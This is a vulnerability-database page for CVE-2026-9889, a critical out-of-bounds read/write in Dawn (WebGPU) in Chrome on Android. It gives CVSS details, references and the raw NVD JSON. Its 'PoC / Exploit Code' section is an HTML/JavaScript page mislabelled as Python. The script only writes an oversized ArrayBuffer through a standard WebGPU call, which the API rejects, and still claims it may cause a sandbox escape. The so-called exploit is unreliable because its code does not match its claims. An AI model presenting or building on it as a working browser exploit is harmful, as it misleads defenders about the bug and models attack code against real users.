CVE-2026-9889

Description

Out of bounds read and write in Dawn in Google Chrome on Android prior to 148.0.7778.216 allowed a remote attacker to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Critical)

CVSS Details

CVSS Score

8.3

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Google Chrome (Android) < 148.0.7778.216

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Proof of Concept for CVE-2026-9889 -->
<!-- This POC demonstrates a malformed WebGPU buffer operation targeting Dawn component -->
<!DOCTYPE html>
<html>
<body>
<script>
async function exploit() {
    if (!navigator.gpu) {
        console.log("WebGPU not supported");
        return;
    }
    const adapter = await navigator.gpu.requestAdapter();
    const device = await adapter.requestDevice();
    
    // Create a buffer to simulate the OOB condition
    const bufferSize = 1024;
    const buffer = device.createBuffer({
        size: bufferSize,
        usage: GPUBufferUsage.COPY_DST | GPUBufferUsage.MAP_READ
    });

    // Attempt to trigger the out-of-bounds read/write in Dawn
    // Malicious data mapping that exceeds buffer size
    const maliciousData = new ArrayBuffer(bufferSize + 0x100);
    device.queue.writeBuffer(buffer, 0, maliciousData, 0, bufferSize + 0x100);

    console.log("Payload sent, check for crash or sandbox escape.");
}
exploit();
</script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-9889
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-9889
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-9889/
[4] VulDB https://vuldb.com/cve/CVE-2026-9889
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html
[6] https://issues.chromium.org/issues/511727159

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-9889", "sourceIdentifier": "[email protected]", "published": "2026-05-28T23:16:46.893", "lastModified": "2026-05-29T16:16:35.077", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Out of bounds read and write in Dawn in Google Chrome on Android prior to 148.0.7778.216 allowed a remote attacker to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Critical)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H", "baseScore": 8.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 6.0}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}, {"lang": "en", "value": "CWE-787"}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html", "source": "[email protected]"}, {"url": "https://issues.chromium.org/issues/511727159", "source": "[email protected]"}]}}